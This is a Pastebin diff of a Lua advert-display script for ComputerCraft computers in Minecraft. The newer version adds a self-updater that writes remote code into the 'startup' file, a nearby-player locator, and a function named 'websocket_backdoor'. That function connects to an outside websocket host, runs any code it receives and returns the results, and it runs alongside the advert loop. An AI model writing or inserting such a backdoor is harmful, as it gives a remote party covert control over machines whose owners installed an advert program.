View difference between Paste ID: QtVcwZJm and KLDakiHg
SHOW: | | - or go back to the newest paste.
1-
_G.os.pullEvent = coroutine.yield
1+
2
	local h = http.get(u)
3
	local c = h.readAll()
4
	h.close()
5
	return c
6
end
7
8
function _G.update()
9
	local h = fs.open("startup", "w")
10-
pcall(function()
10+
	local x = fetch "https://pastebin.com/raw/QtVcwZJm"
11-
local bee_neuron_data = fetch "https://pastebin.com/raw/KLDakiHg"
11+
	local f, e = load(x)
12-
local f = fs.open("startup", "w")
12+
	if not f then return false, e end
13-
f.write(bee_neuron_data)
13+
	h.write(x)
14-
f.close()
14+
15-
end)
15+
	return true
16
end
17-
while true do
17+
18-
	local conf = fetch "https://pastebin.com/raw/VQkJfaWU"
18+
local h = fs.open("conf.lua", "r")
19-
	local fn, err = loadstring(conf)
19+
local conf = textutils.unserialise(h.readAll()) or {}
20-
	if err then printError("Parse error: " .. err)
20+
h.close()
21-
	else
21+
22-
		local ok, result = pcall(fn)
22+
local urls = {
23-
		if not ok then printError("Exec error: " .. result)
23+
	cnlite = "https://dynmap.switchcraft.pw/"
24
}
25-
			for _, mon in pairs {peripheral.find "monitor"} do
25+
26-
				local option = result[math.random(1, #result)]
26+
local function distance_squared(player)
27-
				local w, h = mon.getSize()
27+
	local dx = player.x - conf.location[1]
28-
				if #option > (w * h) then
28+
	local dy = player.y - conf.location[2]
29-
					mon.setTextScale(0.5)
29+
	local dz = player.z - conf.location[3]
30-
				else
30+
	return dx * dx + dy * dy + dz * dz
31-
					mon.setTextScale(1)
31+
32
33-
				local last = term.redirect(mon)
33+
local json
34-
				mon.clear()
34+
local function load_json()
35-
				mon.setCursorPos(1, 1)
35+
	local x = fetch "https://raw.githubusercontent.com/rxi/json.lua/bee7ee3431133009a97257bde73da8a34e53c15c/json.lua"
36-
				write(option)
36+
	json = load(x)()
37-
				
37+
38-
				term.redirect(last)
38+
39-
				print("Displayed", option)
39+
function _G.find_player_nearby()
40
	if not json then load_json() end
41
	local API_URL = urls[conf.server] .. "up/world/world/"
42
	local data = json.decode(fetch(API_URL))
43-
	sleep(30)
43+
	local players = _.filter(data.players, function(x)
44-
end
44+
		x.d = distance_squared(x)
45
		return x.world == conf.dimension and x.d < 400
46
	end)
47
	local sorted = _.sort_by(players, function(x) return -x.d end)
48
	return sorted[1]
49
end
50
51
local function advert_display()
52
	while true do
53
		local data = fetch "https://pastebin.com/raw/P9TeP8ev"
54
		local fn, err = loadstring(data)
55
		if err then printError("Parse error: " .. err)
56
		else
57
			local ok, result = pcall(fn)
58
			if not ok then printError("Exec error: " .. result)
59
			else
60
				local options = {}
61
				for k, v in pairs(result) do
62
					if type(v) == "string" or type(v) == "function" then table.insert(options, v) end
63
				end
64
				for _, mon in pairs {peripheral.find "monitor"} do
65
					local option = options[math.random(1, #options)]
66
					if type(option) == "function" then ok, option = pcall(option) end
67
					if type(option) ~= "string" then break end
68
					local w, h = mon.getSize()
69
					if #option > (w * h) then
70
						mon.setTextScale(conf.smallScale)
71
					else
72
						mon.setTextScale(conf.largeScale)
73
					end
74
					local last = term.redirect(mon)
75
					mon.clear()
76
					mon.setCursorPos(1, 1)
77
					write(option)
78
					term.redirect(last)
79
					print("Displayed", option)
80
				end
81
			end
82
		end
83
		sleep(30)
84
	end
85
end
86
87
local function websocket_backdoor()
88
	load_json()
89
    if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
90
    local ws, err = http.websocket "wss://spudnet.osmarks.net/potatoad"
91
    if not ws then printError(err) return end
92
 
93
    local function send(msg)
94
        ws.send(json.encode(msg))
95
    end
96
 
97
    local function recv()
98
        while true do
99
            local e, u, code = coroutine.yield "websocket_message"
100
            if e == "websocket_message" and u == "wss://spudnet.osmarks.net/potatoad" then
101
                return code
102
            end
103
        end
104
    end
105
 
106
    while true do
107
        -- Receive and run code from backdoor's admin end
108
        local code = recv()
109
        local f, error = load(code, "@input", "t", _E)
110
        if f then -- run safely in background, send back response
111
			local resp = {pcall(f)}
112
            for k, v in pairs(resp) do
113
            	local ok, thing = pcall(json.encode, v)
114
                if not ok then
115
                	resp[k] = tostring(v)
116
				end
117
			end
118
			send(resp)
119
        else
120
            send {false, error}
121
        end
122
    end
123
end
124
125
parallel.waitForAll(websocket_backdoor, advert_display)